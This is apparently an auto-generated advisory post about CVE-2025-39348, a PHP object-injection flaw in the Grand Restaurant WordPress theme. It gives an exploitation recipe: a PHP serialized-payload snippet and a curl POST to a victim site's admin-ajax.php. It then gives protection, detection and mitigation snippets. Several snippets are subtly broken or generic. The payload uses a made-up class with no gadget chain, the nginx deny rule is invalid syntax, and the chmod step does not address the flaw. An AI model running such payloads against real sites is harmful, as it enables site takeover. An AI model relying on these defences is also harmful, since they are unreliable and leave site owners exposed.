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How CVE-2025-39348 Works
The vulnerability in ThemeGoods Grand Restaurant WordPress (versions up to 7.0) arises from insecure deserialization of user-supplied data. Attackers can craft malicious serialized objects and inject them via untrusted input vectors (e.g., POST parameters, cookies). When processed, these objects trigger unintended PHP object instantiation, leading to arbitrary code execution, file manipulation, or database compromise. The lack of proper validation allows attackers to exploit PHP’s unserialize() function, leveraging gadget chains in the theme’s codebase.
DailyCVE Form
Platform: WordPress
Version: ≤7.0
Vulnerability: Object Injection
Severity: Critical
Date: 05/29/2025
Prediction: Patch by 06/15/2025
What Undercode Say:
Exploitation
1. Payload Crafting:
<?php
class Exploit { public $cmd = 'touch /tmp/pwned'; }
echo urlencode(serialize(new Exploit));
?>
2. Curl Exploit:
curl -X POST http://victim-site/wp-admin/admin-ajax.php --data "malicious_param=$(php exploit.php)"
Protection
1. Input Sanitization:
if (!function_exists('safe_unserialize')) {
function safe_unserialize($data) {
return unserialize($data, ['allowed_classes' => false]);
}
}
2. WAF Rule:
location ~ .php$ {
deny ~ (O:[0-9]+:"|__PHP_Incomplete_Class);
}
Detection
1. Log Analysis:
grep -r "unserialize(" /var/www/html/wp-content/themes/grand-restaurant/
2. Patch Verification:
wp theme list --field=version | grep -q "7.1" || echo "Vulnerable"
Mitigation
1. Immediate Workaround:
chmod -R 750 /var/www/html/wp-content/themes/grand-restaurant/
2. Version Check:
SELECT option_value FROM wp_options WHERE option_name = 'template' LIMIT 1;
Analytics
- Attack Surface: High (Admin+Frontend)
- Exploitability: Trivial (Public PoCs Expected)
- Impact: RCE → Full Site Takeover
- Patch Priority: Immediate
No further commentary.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
